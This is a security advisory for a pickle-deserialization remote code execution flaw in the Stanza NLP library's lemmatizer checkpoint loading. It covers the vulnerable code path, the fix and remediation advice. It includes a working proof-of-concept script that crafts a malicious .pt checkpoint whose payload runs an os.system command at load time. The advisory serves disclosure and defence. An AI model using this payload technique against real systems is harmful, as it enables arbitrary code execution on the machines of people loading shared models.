GHSA-gh9r-c94j-cmp5: Stanza: RCE via pickle deserialization in the lemmatizer
TL;DR
Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores posdict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weightsonly=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weightsonly=True gives no protection here, and model loading executes code.
Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload reduce returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executedby=...).
A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemmamodelpath="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> unpackposdict and executes the embedded pickle at construction time.
The vulnerable path
stanza/models/lemma/trainer.py:
python packposdict (write side): posdict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def unpackposdict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler
python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weightsonly=True) # outer allowlist; bytes pass through intact ... if dictsversion == DICTSVERSIONPOS: # dictsversion == 2 (current format) self.posdict = unpackposdict(checkpoint['dicts']) # line 378, no validation
Reachable from the documented API. stanza.Pipeline(..., lemmamodelpath=<file>) -> LemmaProcessor.setupmodel -> Trainer(modelfile=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemmamodelpath reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.
Note: this is not the weightsonly=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.
Minimal PoC
python import gzip, io, os, pickle, tempfile, torch from stanza.models.lemma.trainer import unpackposdict, DICTSVERSIONPOS
MARKER = os.path.join(tempfile.gettempdir(), "stanzalemmapocpwned")
class Payload: def reduce(self): return (os.system, ("id > %s 2>&1; echo executedby=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as packposdict() gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dictsversion": DICTSVERSIONPOS} pt = os.path.join(tempfile.gettempdir(), "evillemma.pt") torch.save(ckpt, pt, usenewzipfileserialization=False)
loaded = torch.load(pt, lambda s, l: s, weightsonly=True) # SUCCEEDS; dicts is bytes, intact unpackposdict(loaded["dicts"]) # == trainer.py:378 -> command runs print("pwned:", open(MARKER).read().strip())
The PoC calls unpackposdict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.
Fix
Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):
python from stanza.models.common.doc import RestrictedUnpickler
def unpackposdict(data): buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return RestrictedUnpickler(io.BytesIO(raw)).load()
A legitimate posdict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by findclass. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both unpackposdict and, for forward compatibility, packposdict.
Other sources
Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores posdict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weightsonly=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemmamodelpath, before inference begins. This issue is fixed in version 1.15.0.
— OSV
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/stanzato a version that resolves this vulnerability.Fixed in 1.15.0 - Upgrade
Upgrade
stanzato a version that resolves this vulnerability.Fixed in 1.15.0 - Compensating control
Deserialize the inner gzip-compressed stream in both _unpack_pos_dict and _pack_pos_dict using the project's RestrictedUnpickler from stanza/models/common/doc.py, which allowlists tuple, list, and dict, instead of unrestricted pickle.loads.
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using Stanza are exposed when they load a lemmatizer checkpoint from a caller-supplied, attacker-influenced, untrusted, or shared .pt file. This includes pipelines configured with an attacker-influenced lemma_model_path and equivalent custom-registry model-loading paths.
What must an attacker do to exploit it?
The attacker must cause the application to load a crafted lemma .pt checkpoint. Exploitation occurs during model loading and runs arbitrary code as the user performing the load; no prior privileges are required, but user interaction is required to load the malicious file.
Does using torch.load(weights_only=True) prevent exploitation?
No. The vulnerable data is stored as bytes in the checkpoint's dicts field, which passes through weights_only=True as a primitive before Stanza processes it with unrestricted pickle.loads.
How can I reduce risk before a fix is applied?
Do not load lemmatizer checkpoints from untrusted, caller-controlled, or shared sources. Restrict lemma_model_path and custom model registries to model files obtained from trusted sources and controlled storage.